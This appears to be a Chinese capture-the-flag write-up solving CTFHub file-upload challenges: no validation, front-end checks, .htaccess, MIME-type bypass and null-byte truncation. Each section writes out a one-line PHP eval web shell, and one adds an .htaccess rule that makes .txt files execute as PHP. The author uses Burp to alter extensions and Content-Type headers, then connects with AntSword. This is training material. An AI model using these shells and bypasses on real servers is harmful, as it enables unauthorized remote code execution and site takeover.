文件上传
无验证
题目:
/%E6%97%A0%E9%AA%8C%E8%AF%81.png)
/Snipaste_2025-02-08_14-48-26.png)
解题
使用工具:蚁剑
创建一个名为ctf.php的文件,写入
1 | @eval($_POST["ctf"]); |
将文件上传
/%E4%B8%8A%E4%BC%A0.png)
打开蚁剑
/%E6%84%8F%E8%A7%81-1.png)
测试连接,显示连接成功
/%E5%88%97%E8%A1%A8.png)
/f.png)
前端验证
题目:
/timu1.png)
/%E9%A2%98%E7%9B%AE.png)
解题
工具:蚁剑、burp
/yuanma.png)
查看网页源码发现只能上传jpg、png、gif格式的文件
创建一个名为ctf.jpg的文件,写入
1 | @eval($_POST["ctf"]); |
将文件上传,上传成功
/%E6%88%90%E5%8A%9F.png)
打开burp,找到记录
/1.png)
放入重放器中
/2.png)
找到上传的文件,将文件的后缀改为php,并重新发送
/4.png)
看一下页面渲染,成功上传了
打开蚁剑连接
/%E6%84%8F%E8%A7%81.png)
/%E6%84%8F%E8%A7%811.png)
/%E6%84%8F%E8%A7%813.png)
/f-1.png)
.htaccess
题目:
/timu2.png)
/timu.png)
解题
查看源码发现有一堆不能上传的文件后缀
/yuanma-1.png)
题目中有提示,上网搜了下htaccess
.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
创建一个er.txt的文件,写入
1 | @eval($_POST["ctf"]); |
创建一个.htaccess的文件,写入
1 | AddType application/x-httpd-php .txt |
作用:服务器会将所有扩展名为 .txt 的文件当作 PHP 脚本进行处理
将文件上传上去,接着使用蚁剑连接
/lianjien.png)
/1-1.png)
/2-1.png)
吐槽
当开始以为.htaccess是个文件后缀,需要有文件名,于是建了个cc.htaccess的文件上传上去,结果怎么都连接不上,折腾了半小时,后来才发现.htaccess就是个文件
MIME绕过
题目:
/tm.png)
/tm2.png)
解题
MIME?先搜一下
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
——百度
没大看懂。。。
MIME 类型
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理URL,因此 We b服务器在响应头中添加正确的 MIME 类型非常重要。如果配置不正确,浏览器可能会无法解析文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。
——菜鸟教程
好像是用来判断文件类型的
看一下源码
/%E6%BA%90%E7%A0%81.png)
上传一个一句话试一下
/err.png)
将这次的提交放入burp的重放器中
/cf.png)
看一下菜鸟
语法
MIME 类型通用结构:
type/subtype
MIME 的组成结构非常简单,由类型与子类型两个字符串中间用 / 分隔而组成,不允许有空格。type 表示可以被分多个子类的独立类别,subtype 表示细分后的每个类型。
MIME类型对大小写不敏感,但是传统写法都是小写。
两种主要的 MIME 类型在默认类型中扮演了重要的角色:
text/plain 表示文本文件的默认值。
application/octet-stream 表示所有其他情况的默认值。
将application/octet-stream改为text/plain试一下
。。。还是失败,换成image/png试一下
/cggg.png)
成功了,接着就是蚁剑连接
/1-2.png)
/2-2.png)
/Snipaste_2025-02-08_16-46-00.png)
/f-2.png)
00截断
题目:
/tm-1.png)
/tm1.png)
解题
搜一下00截断
00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的。00截断通常用来绕过web软waf的白名单限制。
看一下源码
/yunma.png)
创建一个名为ww.php.jpg的文件,写入
1 | @eval($_POST["ctf"]); |
上传
/sc1.png)
使用burp,放入重放器中
/2-3.png)
修改,并重新发送
/1-3.png)
打开http://challenge-736e7c823c9e93f3.sandbox.ctfhub.com:10800/upload/ww.php验证一下,没有报错,成功了,接着就是蚁剑获取flag
/f-3.png)